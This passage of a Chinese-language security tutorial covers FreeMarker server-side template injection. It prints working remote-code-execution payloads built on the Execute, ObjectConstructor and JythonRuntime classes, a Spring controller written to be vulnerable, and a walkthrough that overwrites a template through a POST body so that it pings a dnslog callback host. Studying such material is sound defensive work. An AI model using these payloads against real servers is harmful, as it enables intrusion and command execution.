<h1>Welcome ${user}!</h1>
<p>Our latest product: <a href="${latestProduct.url}">${latestProduct.name}</a>!
</body>
</html>
模板文件存放在Web服務器上,就像通常存放靜態HTML頁面那樣。當有人來訪問這個頁面, FreeMarker將會介入執行,然后動態轉換模板,用最新的數據內容替換模板中 ${...} 的部分, 之后將結果發送到訪問者的Web瀏覽器中。
這個模板主要用於 java ,用戶可以通過實現 TemplateModel 來用 new 創建任意 Java 對象
具體的高級內置函數定義參考《Seldom used and expert built-ins》

主要的用法如下:
<# - 創建一個用戶定義的指令,調用類的參數構造函數 - >
<#assign word_wrapp ="com.acmee.freemarker.WordWrapperDirective"?new()>
<# - 創建一個用戶定義的指令,用一個數字參數調用構造函數 - >
<#assign word_wrapp_narrow ="com.acmee.freemarker.WordWrapperDirective"?new(40)>
調用了構造函數創建了一個對象,那么這個 payload 中就是調用的 freemarker 的內置執行命令的對象 Execute
freemarker.template.utility 里面有個Execute類,這個類會執行它的參數,因此我們可以利用new函數新建一個Execute類,傳輸我們要執行的命令作為參數,從而構造遠程命令執行漏洞。構造payload:
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
freemarker.template.utility 里面有個ObjectConstructor類,如下圖所示,這個類會把它的參數作為名稱,構造了一個實例化對象。因此我們可以構造一個可執行命令的對象,從而構造遠程命令執行漏洞。
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()
freemarker.template.utility 里面的JythonRuntime,可以通過自定義標簽的方式,執行Python命令,從而構造遠程命令執行漏洞。
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>
這里使用測試代碼來大概演示一下:https://github.com/hellokoding/springboot-freemarker
代碼演示說明:https://hellokoding.com/spring-boot/freemarker/
前端代碼 ——> hello.ftl
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hello ${name}!</title>
<link href="/css/main.css" rel="stylesheet">
</head>
<body>
<h2 class="hello-title">Hello ${name}!</h2>
<script src="/js/main.js"></script>
</body>
</html>
后端代碼 ——> HelloController.java:
package com.backendvulnerabilities.ssti; import freemarker.cache.MultiTemplateLoader; import freemarker.cache.StringTemplateLoader; import freemarker.cache.TemplateLoader; import freemarker.template.Configuration; import freemarker.template.Template; import freemarker.template.TemplateException; import freemarker.template.utility.DateUtil; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.StringWriter; import java.util.HashMap; import java.util.Map; @Controller public class HelloController { @Autowired private Configuration con; @GetMapping("/") public String index() { return "index"; } @RequestMapping(value = "/hello") public String hello(@RequestBody Map<String,Object> body, Model model) { model.addAttribute("name", body.get("name")); return "hello"; } @RequestMapping(value = "/freemarker") public void freemarker(@RequestParam("username") String username, HttpServletRequest httpserver,HttpServletResponse response) { try{ String data = "1ooooooooooooooooooo~"; String templateContent = "<html><body>Hello " + username + " ${data}</body></html>"; String html = createHtmlFromString(templateContent,data); response.getWriter().println(html); }catch (Exception e){ e.printStackTrace(); } } private String createHtmlFromString(String templateContent, String data) throws IOException, TemplateException { Configuration cfg = new Configuration(); StringTemplateLoader stringLoader = new StringTemplateLoader(); stringLoader.putTemplate("myTemplate",templateContent); cfg.setTemplateLoader(stringLoader); Template template = cfg.getTemplate("myTemplate","utf-8"); Map root = new HashMap(); root.put("data",data); StringWriter writer = new StringWriter(); template.process(root,writer); return writer.toString(); } @RequestMapping(value = "/template", method = RequestMethod.POST) public String template(@RequestBody Map<String,String> templates) throws IOException { StringTemplateLoader stringLoader = new StringTemplateLoader(); for(String templateKey : templates.keySet()){ stringLoader.putTemplate(templateKey, templates.get(templateKey)); } con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{stringLoader, con.getTemplateLoader()})); return "index"; } }
上述代碼主要編譯給定的模板字符串和數據,生成HTML進行輸出

模板注入的前提是在無過濾的情況下,使用模板來解析我們輸入的字符,可以通過頁面上的變化,來判斷我們輸入的內容是否被解析,如上圖我們輸入的內容被成功解析到頁面上,並且沒有過濾。
首先需要控制被攻擊模板 /template 的內容,也就是要將本來無危害的模板文件實時更改為可攻擊的模板內容。使用的payload
{"hello.ftl": "<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"ping ilxwh0.dnslog.cn\") }<title>Hello!</title><link href=\"/css/main.css\" rel=\"stylesheet\"></head><body><h2 class=\"hello-title\">Hello!</h2><script src=\"/js/main.js\"></script></body></html>"}

關鍵代碼在上圖的紅框中,接收用戶傳入的參數,使用keySet()獲取key值,遍歷相應的模塊名字,使用StringTemplateLoader來加載模板內容,並使用putTemplate將key對應的value(也就是payload)寫入templateKey中。這樣就可以覆蓋 hello.ftl 文件的內容,具體如下:

重新更改了加載的模板內容后,然后直接訪問受影響的模板文件路徑,此時惡意的模板文件內容就會被加載成功了,並執行了系統命令

dnslog平台也受到了請求

后言
由於本篇文章篇幅過長,容易腦殼疼,所以分為上下篇,上篇大概介紹了幾種語言常見的幾種模板注入,下篇分析幾個cms的模板注入,包括海洋cms,74cms,ofcms等
參考鏈接
《SSTI完全學習》
《SSTI模板注入》
